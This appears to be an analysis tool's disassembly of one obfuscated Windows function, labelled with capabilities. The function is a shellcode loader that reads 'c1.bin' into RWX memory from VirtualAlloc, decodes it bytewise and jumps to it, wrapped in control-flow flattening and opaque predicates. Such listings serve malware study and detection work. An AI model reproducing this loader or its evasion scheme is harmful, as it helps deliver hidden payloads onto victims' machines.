Function at 0x140001a90
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows

Disassembly:
push rbp
sub rsp, 0xd0
lea rbp, [rsp + 0x80]
mov qword [rbp - 0x60], rdx
mov dword [rbp - 0x58], ecx
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x48], rax
mov dword [rbp - 0x54], 0x502857ec
mov eax, dword [rbp - 0x54]
mov dword [rbp - 0x64], eax
sub eax, 0x917ef0d9
je 0x140002171
jmp 0x140001ad2
mov eax, dword [rbp - 0x64]
sub eax, 0x91d9fd80
je 0x140002825
jmp 0x140001ae5
mov eax, dword [rbp - 0x64]
sub eax, 0x951e274d
je 0x140001fb0
jmp 0x140001af8
mov eax, dword [rbp - 0x64]
sub eax, 0x9e73c35c
je 0x14000258b
jmp 0x140001b0b
mov eax, dword [rbp - 0x64]
sub eax, 0x9f102bc6
je 0x140002883
jmp 0x140001b1e
mov eax, dword [rbp - 0x64]
sub eax, 0x9f31a33b
je 0x140001e90
jmp 0x140001b31
mov eax, dword [rbp - 0x64]
sub eax, 0xa1e97ba6
je 0x140002457
jmp 0x140001b44
mov eax, dword [rbp - 0x64]
sub eax, 0xaa86d652
je 0x140002780
jmp 0x140001b57
mov eax, dword [rbp - 0x64]
sub eax, 0xc85f9977
je 0x1400025f2
jmp 0x140001b6a
mov eax, dword [rbp - 0x64]
sub eax, 0xcc8763f0
je 0x1400026c4
jmp 0x140001b7d
mov eax, dword [rbp - 0x64]
sub eax, 0xd139679a
je 0x1400020da
jmp 0x140001b90
mov eax, dword [rbp - 0x64]
sub eax, 0xd33ee539
je 0x140002031
jmp 0x140001ba3
mov eax, dword [rbp - 0x64]
sub eax, 0xd735d1cf
je 0x140002576
jmp 0x140001bb6
mov eax, dword [rbp - 0x64]
sub eax, 0xd835c70e
je 0x140002835
jmp 0x140001bc9
mov eax, dword [rbp - 0x64]
sub eax, 0xdca4af36
je 0x1400022d3
jmp 0x140001bdc
mov eax, dword [rbp - 0x64]
sub eax, 0xdd1c3300
je 0x140002877
jmp 0x140001bef
mov eax, dword [rbp - 0x64]
sub eax, 0xdec3d59f
je 0x14000232b
jmp 0x140001c02
mov eax, dword [rbp - 0x64]
sub eax, 0xe10932de
je 0x140001f5d
jmp 0x140001c15
mov eax, dword [rbp - 0x64]
sub eax, 0xe9d5994c
je 0x140002554
jmp 0x140001c28
mov eax, dword [rbp - 0x64]
sub eax, 0xe9fea58a
je 0x140001f51
jmp 0x140001c3b
mov eax, dword [rbp - 0x64]
sub eax, 0xed9edb81
je 0x1400025c8
jmp 0x140001c4e
mov eax, dword [rbp - 0x64]
sub eax, 0xf7b62279
je 0x1400020ce
jmp 0x140001c61
mov eax, dword [rbp - 0x64]
sub eax, 0xb1e2f30
je 0x1400027b6
jmp 0x140001c74
mov eax, dword [rbp - 0x64]
sub eax, 0xb2f28e8
je 0x1400025fe
jmp 0x140001c87
mov eax, dword [rbp - 0x64]
sub eax, 0xe3d1057
je 0x140002537
jmp 0x140001c9a
mov eax, dword [rbp - 0x64]
sub eax, 0xfbd7749
je 0x140002798
jmp 0x140001cad
mov eax, dword [rbp - 0x64]
sub eax, 0x11a40fc6
je 0x14000240d
jmp 0x140001cc0
mov eax, dword [rbp - 0x64]
sub eax, 0x12235daf
je 0x1400020f5
jmp 0x140001cd3
mov eax, dword [rbp - 0x64]
sub eax, 0x1ad18695
je 0x1400025d4
jmp 0x140001ce6
mov eax, dword [rbp - 0x64]
sub eax, 0x1dc2da3f
je 0x1400027e7
jmp 0x140001cf9
mov eax, dword [rbp - 0x64]
sub eax, 0x1ddf483a
je 0x14000267a
jmp 0x140001d0c
mov eax, dword [rbp - 0x64]
sub eax, 0x358f02f5
je 0x140002520
jmp 0x140001d1f
mov eax, dword [rbp - 0x64]
sub eax, 0x39b97b9b
je 0x14000278c
jmp 0x140001d32
mov eax, dword [rbp - 0x64]
sub eax, 0x411d59ce
je 0x140002224
jmp 0x140001d45
mov eax, dword [rbp - 0x64]
sub eax, 0x451910d7
je 0x1400023cd
jmp 0x140001d58
mov eax, dword [rbp - 0x64]
sub eax, 0x4870ff46
je 0x140002514
jmp 0x140001d6b
mov eax, dword [rbp - 0x64]
sub eax, 0x4e44fcf5
je 0x140002375
jmp 0x140001d7e
mov eax, dword [rbp - 0x64]
sub eax, 0x4f4fb64b
je 0x1400027c2
jmp 0x140001d91
mov eax, dword [rbp - 0x64]
sub eax, 0x4f9a85b7
je 0x140001f8b
jmp 0x140001da4
mov eax, dword [rbp - 0x64]
sub eax, 0x502857ec
je 0x140001e41
jmp 0x140001db7
mov eax, dword [rbp - 0x64]
sub eax, 0x52e7ca2f
je 0x1400026d0
jmp 0x140001dca
mov eax, dword [rbp - 0x64]
sub eax, 0x53c6a2a3
je 0x1400023d9
jmp 0x140001ddd
mov eax, dword [rbp - 0x64]
sub eax, 0x5a2912cc
je 0x14000271f
jmp 0x140001df0
mov eax, dword [rbp - 0x64]
sub eax, 0x5e06dc86
je 0x1400025ae
jmp 0x140001e03
mov eax, dword [rbp - 0x64]
sub eax, 0x66f77764
je 0x140002597
jmp 0x140001e16
mov eax, dword [rbp - 0x64]
sub eax, 0x74953083
je 0x140002230
jmp 0x140001e29
mov eax, dword [rbp - 0x64]
sub eax, 0x7a3668e0
je 0x1400023ee
jmp 0x140001e3c
jmp 0x14000289c
mov eax, dword [0x140028cc4]
mov ecx, dword [0x140028cc0]
mov edx, eax
sub edx, 0x2cf08310
sub edx, 1
add edx, 0x2cf08310
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb1e2f30
mov ecx, 0x9f31a33b
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x54], eax
jmp 0x14000289c
mov eax, 0x10
mov qword [rbp - 0x70], rax
call fcn.140002c80
sub rsp, rax
mov rax, qword [rbp - 0x70]
mov rcx, rsp
mov qword [rbp - 0x38], rcx
call fcn.140002c80
sub rsp, rax
mov rax, qword [rbp - 0x70]
mov rcx, rsp
mov qword [rbp - 0x30], rcx
call fcn.140002c80
sub rsp, rax
mov rax, qword [rbp - 0x70]
mov rcx, rsp
mov qword [rbp - 0x28], rcx
call fcn.140002c80
sub rsp, rax
mov rax, qword [rbp - 0x70]
mov rcx, rsp
mov qword [rbp - 0x20], rcx
call fcn.140002c80
sub rsp, rax
mov rax, qword [rbp - 0x70]
mov rcx, rsp
mov qword [rbp - 0x18], rcx
call fcn.140002c80
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x10], rax
mov eax, dword [0x140028cc4]
mov ecx, dword [0x140028cc0]
xor r8d, r8d
sub r8d, 1
mov edx, eax
add edx, r8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb1e2f30
mov ecx, 0xe9fea58a
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x54], eax
jmp 0x14000289c
mov dword [rbp - 0x54], 0xe10932de
jmp 0x14000289c
mov eax, dword [rbp - 0x58]
mov rcx, qword [rbp - 0x60]
mov dword [rbp - 0x3c], 0
mov qword [rbp - 0x48], rcx
mov dword [rbp - 0x4c], eax
mov eax, 0x52e7ca2f
mov ecx, 0x4f9a85b7
cmp dword [rbp - 0x4c], 2
cmove eax, ecx
mov dword [rbp - 0x54], eax
jmp 0x14000289c
mov eax, dword [0x14001c344]
mov dword [rbp + 0x44], eax
lea rax, [rbp + 0x44]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 0x48]
mov qword [rbp], rax
mov dword [rbp - 0x54], 0x951e274d
jmp 0x14000289c
mov ecx, dword [0x140028cc4]
mov eax, dword [0x140028cc0]
mov edx, ecx
sub edx, 0x7735c4cd
sub edx, 1
add edx, 0x7735c4cd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4f4fb64b
mov ecx, 0xd33ee539
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x54], eax
jmp 0x14000289c
mov rax, qword [rbp]
mov rcx, qword [rax + 8]
mov rdx, qword [rbp - 8]
sub rsp, 0x20
call fcn.1400072e0
add rsp, 0x20
mov dword [rbp + 0xc], eax
mov ecx, dword [0x140028cc4]
mov eax, dword [0x140028cc0]
mov edx, ecx
add edx, 0x39ddbe1c
sub edx, 1
sub edx, 0x39ddbe1c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4f4fb64b
mov ecx, 0xf7b62279
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x54], eax
jmp 0x14000289c
mov dword [rbp - 0x54], 0xd139679a
jmp 0x14000289c
mov edx, dword [rbp + 0xc]
mov eax, 0x1ad18695
mov ecx, 0x12235daf
cmp edx, 0
cmove eax, ecx
mov dword [rbp - 0x54], eax
jmp 0x14000289c
mov ecx, dword [0x140028cc4]
mov eax, dword [0x140028cc0]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1dc2da3f
mov ecx, 0x917ef0d9
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x54], eax
jmp 0x14000289c
mov dword [rbp - 0x50], 0x58
mov rax, qword [rbp - 0x38]
mov qword [rax], 0
mov rax, qword [rbp - 0x30]
mov ecx, dword [str.c1.bin]
mov dword [rax], ecx
mov cx, word [0x14001c34c]
mov word [rax + 4], cx
mov cl, byte [0x14001c34e]
mov byte [rax + 6], cl
mov ecx, dword [0x140028cc4]
mov eax, dword [0x140028cc0]
mov edx, ecx
add edx, 0xbdfff7e2
sub edx, 1
sub edx, 0xbdfff7e2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1dc2da3f
mov ecx, 0x411d59ce
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x54], eax
jmp 0x14000289c
mov dword [rbp - 0x54], 0x74953083
jmp 0x14000289c
mov rdx, qword [rbp - 0x30]
mov rcx, qword [rbp - 0x38]
lea r8, [0x14001c34f]
sub rsp, 0x20
call fcn.140007404
add rsp, 0x20
mov rax, qword [rbp - 0x38]
mov rcx, qword [rax]
xor edx, edx
mov r8d, 2
sub rsp, 0x20
call fcn.140007734
add rsp, 0x20
mov rax, qword [rbp - 0x38]
mov rcx, qword [rax]
sub rsp, 0x20
call fcn.140007cf0
add rsp, 0x20
mov ecx, eax
mov rax, qword [rbp - 0x28]
mov dword [rax], ecx
mov rax, qword [rbp - 0x38]
mov rcx, qword [rax]
xor r8d, r8d
sub rsp, 0x20
mov edx, r8d
call fcn.140007734
add rsp, 0x20
mov rax, qword [rbp - 0x28]
movsxd rdx, dword [rax]
xor eax, eax
mov ecx, eax
mov r8d, 0x1000
mov r9d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rsp, 0x20
mov qword [rbp + 0x10], rax
mov dword [rbp - 0x54], 0xdca4af36
jmp 0x14000289c
mov rax, qword [rbp - 0x20]
mov rcx, qword [rbp + 0x10]
mov qword [rax], rcx
mov rax, qword [rbp - 0x38]
mov r9, qword [rax]
mov rax, qword [rbp - 0x28]
movsxd r8, dword [rax]
mov rax, qword [rbp - 0x20]
mov rcx, qword [rax]
mov edx, 1
sub rsp, 0x20
call fcn.140007fe8
add rsp, 0x20
mov ecx, dword [rbp - 0x50]
sub rsp, 0x20
call fcn.1400080dc
add rsp, 0x20
mov rax, qword [rbp - 0x10]
mov dword [rax], 0
mov dword [rbp - 0x54], 0xdec3d59f
jmp 0x14000289c
mov eax, dword [0x140028cc4]
mov ecx, dword [0x140028cc0]
xor r8d, r8d
sub r8d, 1
mov edx, eax
add edx, r8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x91d9fd80
mov ecx, 0x4e44fcf5
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x54], eax
jmp 0x14000289c
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
mov dword [rbp + 0x1c], eax
mov eax, dword [0x140028cc4]
mov ecx, dword [0x140028cc0]
mov edx, eax
sub edx, 0x8ee482b1
sub edx, 1
add edx, 0x8ee482b1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x91d9fd80
mov ecx, 0x451910d7
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x54], eax
jmp 0x14000289c
mov dword [rbp - 0x54], 0x53c6a2a3
jmp 0x14000289c
mov rax, qword [rbp - 0x28]
mov eax, dword [rax]
mov dword [rbp + 0x20], eax
mov dword [rbp - 0x54], 0x7a3668e0
jmp 0x14000289c
mov edx, dword [rbp + 0x1c]
mov r8d, dword [rbp + 0x20]
mov eax, 0x66f77764
mov ecx, 0x11a40fc6
cmp edx, r8d
cmovl eax, ecx
mov dword [rbp - 0x54], eax
jmp 0x14000289c
mov eax, dword [0x140028cc4]
mov ecx, dword [0x140028cc0]
xor r8d, r8d
sub r8d, 1
mov edx, eax
add edx, r8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd835c70e
mov ecx, 0xa1e97ba6
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x54], eax
jmp 0x14000289c
sub rsp, 0x20
call fcn.1400080b0
add rsp, 0x20
mov ecx, 9
cdq
idiv ecx
xor eax, eax
sub eax, 1
sub edx, eax
mov rax, qword [rbp - 0x18]
mov dword [rax], edx
mov rax, qword [rbp - 0x20]
mov rax, qword [rax]
mov rcx, qword [rbp - 0x10]
movsxd rcx, dword [rcx]
movsx r8d, byte [rax + rcx]
mov rax, qword [rbp - 0x18]
mov edx, dword [rax]
mov eax, r8d
xor eax, 0xffffffff
and eax, 0xcabae362
mov r9d, 0xffffffff
xor r9d, 0xcabae362
and r8d, r9d
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0xcabae362
and edx, r9d
or eax, r8d
or ecx, edx
xor eax, ecx
mov byte [rbp + 0x27], al
mov eax, dword [0x140028cc4]
mov ecx, dword [0x140028cc0]
mov edx, eax
add edx, 0x78a3da8a
sub edx, 1
sub edx, 0x78a3da8a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd835c70e
mov ecx, 0x4870ff46
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x54], eax
jmp 0x14000289c
mov dword [rbp - 0x54], 0x358f02f5
jmp 0x14000289c
mov rax, qword [rbp - 0x20]
mov rax, qword [rax]
mov qword [rbp + 0x28], rax
mov dword [rbp - 0x54], 0xe3d1057
jmp 0x14000289c
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax]
mov rax, qword [rbp + 0x28]
mov dl, byte [rbp + 0x27]
mov byte [rax + rcx], dl
mov dword [rbp - 0x54], 0xe9d5994c
jmp 0x14000289c
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
add eax, 0x35aade18
add eax, 1
sub eax, 0x35aade18
mov dword [rbp + 0x34], eax
mov dword [rbp - 0x54], 0xd735d1cf
jmp 0x14000289c
mov rax, qword [rbp - 0x10]
mov ecx, dword [rbp + 0x34]
mov dword [rax], ecx
mov dword [rbp - 0x54], 0x9e73c35c
jmp 0x14000289c
mov dword [rbp - 0x54], 0xdec3d59f
jmp 0x14000289c
mov rax, qword [rbp - 0x20]
mov rax, qword [rax]
mov qword [rbp + 0x38], rax
mov dword [rbp - 0x54], 0x5e06dc86
jmp 0x14000289c
mov rax, qword [rbp + 0x38]
sub rsp, 0x20
call rax
add rsp, 0x20
mov dword [rbp - 0x54], 0xed9edb81
jmp 0x14000289c
mov dword [rbp - 0x54], 0xb2f28e8
jmp 0x14000289c
mov ecx, 0x58
sub rsp, 0x20
call section..text
add rsp, 0x20
mov dword [rbp - 0x54], 0xc85f9977
jmp 0x14000289c
mov dword [rbp - 0x54], 0xb2f28e8
jmp 0x14000289c
mov ecx, dword [0x140028cc4]
mov eax, dword [0x140028cc0]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdd1c3300
mov ecx, 0x1ddf483a
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x54], eax
jmp 0x14000289c
mov eax, dword [0x140028cc4]
mov ecx, dword [0x140028cc0]
xor r8d, r8d
sub r8d, 1
mov edx, eax
add edx, r8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdd1c3300
mov ecx, 0xcc8763f0
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x54], eax
jmp 0x14000289c
mov dword [rbp - 0x54], 0xfbd7749
jmp 0x14000289c
mov eax, dword [0x140028cc4]
mov ecx, dword [0x140028cc0]
mov edx, eax
add edx, 0x3902092f
sub edx, 1
sub edx, 0x3902092f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9f102bc6
mov ecx, 0x5a2912cc
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x54], eax
jmp 0x14000289c
mov ecx, 0x64
sub rsp, 0x20
call section..text
add rsp, 0x20
mov eax, dword [0x140028cc4]
mov ecx, dword [0x140028cc0]
mov edx, eax
sub edx, 0x52352f26
sub edx, 1
add edx, 0x52352f26
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9f102bc6
mov ecx, 0xaa86d652
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x54], eax
jmp 0x14000289c
mov dword [rbp - 0x54], 0x39b97b9b
jmp 0x14000289c
mov dword [rbp - 0x54], 0xfbd7749
jmp 0x14000289c
xor eax, eax
mov dword [rbp - 0x74], eax
mov rcx, qword [rbp + 0x48]
xor rcx, rbp
sub rsp, 0x20
call fcn.140002ce0
mov eax, dword [rbp - 0x74]
lea rsp, [rbp + 0x50]
pop rbp
ret
mov dword [rbp - 0x54], 0x9f31a33b
jmp 0x14000289c
mov rax, qword [rbp]
mov rcx, qword [rax + 8]
mov rdx, qword [rbp - 8]
sub rsp, 0x20
call fcn.1400072e0
add rsp, 0x20
mov dword [rbp - 0x54], 0xd33ee539
jmp 0x14000289c
mov dword [rbp - 0x50], 0x58
mov rax, qword [rbp - 0x38]
mov qword [rax], 0
mov rax, qword [rbp - 0x30]
mov ecx, dword [str.c1.bin]
mov dword [rax], ecx
mov cx, word [0x14001c34c]
mov word [rax + 4], cx
mov cl, byte [0x14001c34e]
mov byte [rax + 6], cl
mov dword [rbp - 0x54], 0x917ef0d9
jmp 0x14000289c
mov rax, qword [rbp - 0x10]
mov dword [rbp - 0x54], 0x4e44fcf5
jmp 0x14000289c
sub rsp, 0x20
call fcn.1400080b0
add rsp, 0x20
mov ecx, 9
cdq
idiv ecx
xor eax, eax
sub eax, edx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov rax, qword [rbp - 0x18]
mov dword [rax], ecx
mov rax, qword [rbp - 0x20]
mov rax, qword [rbp - 0x10]
mov rax, qword [rbp - 0x18]
mov dword [rbp - 0x54], 0xa1e97ba6
jmp 0x14000289c
mov dword [rbp - 0x54], 0x1ddf483a
jmp 0x14000289c
mov ecx, 0x64
sub rsp, 0x20
call section..text
add rsp, 0x20
mov dword [rbp - 0x54], 0x5a2912cc
jmp 0x140001abc